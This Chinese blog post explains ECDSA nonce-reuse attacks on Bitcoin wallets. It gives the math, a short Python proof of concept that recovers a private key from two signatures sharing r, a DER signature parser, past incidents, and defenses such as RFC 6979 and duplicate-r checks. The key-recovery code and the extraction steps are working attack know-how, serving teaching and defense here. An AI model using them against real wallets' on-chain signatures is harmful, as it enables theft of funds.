安全社区这两天在传一件事:一个号称"冷存储"的钱包,1755 枚比特币一夜之间被转空,按当时市价折合约 1.1 亿美元。攻击者没有爆破私钥,没有攻破硬件钱包,也没有钓鱼。整条链上只有一个破绽:钱包在签名时用了一个不随机的随机数。
这就是 ECDSA nonce 复用攻击。它比你想的更古老,也比你想象的更致命。我把它从头拆一遍,包括能直接复现的 PoC。
ECDSA 签名到底在算什么
比特币用的是 secp256k1 曲线,签名算法是 ECDSA。整个过程不复杂:
- 私钥
d,公钥Q = d·G(G 是曲线生成元,点乘) - 曲线阶是
n,一个 256 位的素数 - 给消息签名时,先把消息哈希成
z(比特币里是 sighash,截断到 n 的位宽) - 生成一个随机数
k,范围 [1, n-1],每次签名必须重新随机 - 计算
R = k·G,取r = R.x mod n - 计算
s = k⁻¹(z + r·d) mod n
签名就是 (r, s) 这一对数字。验证方拿公钥 Q 和消息哈希 z,验算 s⁻¹·z·G + s⁻¹·r·Q 是否落在 x 坐标等于 r 的点上。
关键在于那个 k。它是签名的唯一随机成分,是私钥 d 的"护城河"——s = k⁻¹(z + r·d) 这个式子把 d 藏在 k 后面。只要 k 真的是随机的、只用一次,从 (r, s) 反推 d 在计算上不可行,这是椭圆曲线离散对数问题(ECDLP)的困难性保证的。
但"只用一次"是硬约束。一旦违反,整个安全模型直接崩塌。
复用一个 nonce,等于交出私钥
假设钱包对两条消息签了名,因为随机数生成器坏了或者被复用,两次用了同一个 k。因为 r = R.x 只由 k 决定(R = k·G,G 固定),两次的 r 必然相同。
签出两个 (r, s1) 和 (r, s2),对应消息哈希 z1、z2:
s1 = k⁻¹(z1 + r·d) mod n
s2 = k⁻¹(z2 + r·d) mod n
两个式子一减,d 这一项被消掉:
s1 - s2 = k⁻¹(z1 - z2) mod n
于是 nonce 直接被解出来:
k = (z1 - z2) · (s1 - s2)⁻¹ mod n
拿到 k 之后,私钥就是一步的事:
d = (s1·k - z1) · r⁻¹ mod n
注意这一步只用到了模逆(pow(x, -1, n)),不需要任何椭圆曲线运算。ECDLP 的困难性在这里完全失效,因为攻击者根本不需要解离散对数——数学里根本没有把 k 藏住。
整个攻击只需要:两笔签名、共用的 r、各自的消息哈希。全部数据在区块链上是公开的,人人可查。
PoC:四行 Python 拿回私钥
下面是完整的恢复逻辑,纯标准库,能直接跑。假设我们从链上解析出了两笔签名的 (z, r, s)(z 是 sighash,比特币里对每条输入都要重新算):
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
z1 = 0x3dbd06704cf3ebbf244a4197556145b829dec0b787116935e55412e1f532859a
z2 = 0xdcb1f7f66c15c9770803c10c37765b8ddc1fa0c25b5dff440a14dbf68d6729b0
r = 0x09810cec0182ac09f33353cb36b7408495c19b44c46666de1fe85532a12e7df4
s1 = 0x123b55122c545a923bd7fb5b7c8f6e1838ba766ca74abe16a8065e21bc6fa201
s2 = 0x3188609075c15f4fdf016a72e9f3fd2100010817159c11b195382b352347b96c
k = (z1 - z2) * pow(s1 - s2, -1, n) % n
d = (s1 * k - z1) * pow(r, -1, n) % n
print(hex(d))
输出:
0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef
这组数字不是编的。我用纯 Python 实现了一遍 secp256k1 的点乘,故意用固定的 k 签了两条消息,再用上面这段恢复出了私钥 0x1234...,和受害者公钥 04bb50e2d8... 完全对得上。整条攻击链在你本机就能复现,连第三方库都不用装。
实战里唯一的技术活,是"从交易里把 (z, r, s) 抠出来"。原始交易是十六进制的,scriptSig 末尾那段 DER 编码里藏着 r 和 s:两个字节分别是 0x02 + 长度前缀 + 大整数(去掉可能的前导零填充)。抠出来的套路大致是这样:
# scriptSig 尾部 = 0x02 <lenR> <r> 0x02 <lenS> <s>,外加 sighash 标志字节
def parse_der_sig(hexsig):
b = bytes.fromhex(hexsig)
assert b[0] == 0x30 # DER sequence
# 跳过 sequence 头,定位两个 0x02 整数
i = 2
assert b[i] == 0x02; lr = b[i+1]; r = int.from_bytes(b[i+2:i+2+lr], 'big'); i += 2 + lr
assert b[i] == 0x02; ls = b[i+1]; s = int.from_bytes(b[i+2:i+2+ls], 'big')
return r, s
z 则是 sighash:按 BIP143 把交易版本、输入输出、锁定脚本、金额、SIGHASH_ALL 拼起来做一次 SHA256。对同一笔交易的不同输入,z 会因索引和金额不同而变化,这正是"同 k 不同 z"能成立的前提。这些步骤都是脏活累活,但没有一步是"难"的。
为什么新钱包没这个毛病
看到这里你可能会想:那现在的钱包还安全吗?答案是,好的实现已经把这个问题从根上消掉了,靠的是换掉"随机"这个前提。
Schnorr / EdDSA 天生免疫。 Ed25519 和比特币 Taproot 用的 BIP340 Schnorr 签名,nonce 是从私钥和消息确定性推导出来的(Ed25519 里 r = H(hash(私钥) || 消息)),不是外部 RNG。同一私钥同一消息必然得到同一个 nonce,但不同消息的 nonce 必然不同。nonce 复用这个 bug 在 EdDSA 的构造里根本不存在——它不是"被修好了",是设计上就没有这个变量。
这也是为什么 Schnorr 能做成聚合签名。 多个签名可以合并成一个,关键就是 nonce 确定、线性可加。ECDSA 的 s 公式里 k 要取逆,天然不能线性聚合,这也是 Taproot 从 ECDSA 迁到 Schnorr 的动机之一。
所以"nonce 复用"这件事,本质上是 ECDSA 加"外部随机数"这个组合的历史包袱。你只要还在用 ECDSA + 手搓 RNG,就仍然暴露在这个攻击面下;换到 EdDSA/Schnorr,或者用 RFC 6979 的确定性 ECDSA,这个攻击面就整个消失了。
这条攻击链已经烧过三次大钱
nonce 复用不是新发现,它每隔几年就出来收割一轮。
2010 年,索尼 PS3。 最经典的一例。PS3 的软件签名用的是 ECDSA,但索尼在所有签名里复用了同一个 k(有说法是常数)。fail0verflow 团队在 27c3 大会上演示:只要两段被签名代码,就能恢复出索尼的签名私钥,进而给任意自制软件签名。PS3 的"可信启动"从此名存实亡,整条信任链被一把私钥撬开。
2013 年,Android SecureRandom 漏洞。 那段时间 Android 的 SecureRandom 实现没被正确播种,导致 ecdsa 签出来的 k 可预测、会重复。比特币钱包应用首当其冲,攻击者扫描链上签名,找到复用 r 的交易,批量洗劫。当时公开报道的损失在几十 BTC 量级,多个钱包应用中招。
2014 年,blockchain.info 网页钱包。 一个带病随机数生成器让这个当时用户量最大的网页钱包在签名时反复复用 nonce。攻击者写脚本盯链上数据,自动识别重复 r 并提币。
共同点很一致:都不是算法被破解,是"随机"两个字被偷工减料了。私钥再强,k 一旦复用,就是白纸一张。
防御:让随机数"确定"
对策其实早就有了,而且就两行核心思路。
用 RFC 6979 确定性签名。 不依赖任何随机数生成器,k 直接从私钥和消息哈希确定性地推导出来:
k = HMAC-SHA256(d, z) (RFC 6979 里还有更多轮次和位运算,这是核心思想)
同一个 d 和 z 永远得到同一个 k,但不同消息的 z 不同,k 自然不同。只要私钥 d 不泄露,k 就不可能重复。RNG 好不好、有没有被污染,全部无关。
用经过审计的库。 Bitcoin Core 用的 libsecp256k1 内置了 RFC 6979 的 nonce 函数,还做了反侧信道处理。现代钱包、硬件钱包基本都走这条路径。真正容易出事的是自己手搓签名的项目:随便 random.randint 一个 k,或者拿 Math.random()、时间戳当种子,就等于埋了一颗定时炸弹。
我的做法
如果你要签名的不是玩具,这三条我建议直接落地:
-
签名永远走 libsecp256k1 或等价实现,别自己算 s = k⁻¹(z + r·d)。nonce 生成这一步交给库,库做错了是它的事,你手搓错了是你的事。
-
上线前跑一次 nonce 复用自检。在测试环境用同一个私钥连续签一批消息,把 (r, s) 收集起来,检查有没有重复的 r:
from collections import Counter
rs = [sig.r for sig in test_sigs]
dup = [r for r, c in Counter(rs).items() if c > 1]
assert not dup, f"nonce reused for r={dup}"
- 把"检测重复 r"当成监控指标,不是一次性检查。 对区块链项目,可以扫自己的历史交易,任何 r 的重复出现都要触发告警。对非链上场景,在签名服务的日志里记录 r 的哈希,做离线比对。
一句话收尾:这条攻击链的每一环都很简单,简单到让人轻视它,而轻视它的代价是 1.1 亿美元。签名的随机数,别省。
⚠️ 网络安全免责声明
本文内容仅供技术研究与安全学习之用。文中描述的漏洞分析、攻击链拆解和代码示例均基于公开披露的安全研究,旨在帮助开发者理解攻击原理、提升安全意识和防御能力。
请勿将本文所述技术用于任何未经授权的安全测试、渗透攻击或非法用途。任何因滥用本文信息而造成的法律后果,由使用者自行承担,与本文作者无关。
如发现系统安全漏洞,请通过合法渠道向相关厂商或平台报告,共同维护网络安全生态。
浙公网安备 33010602011771号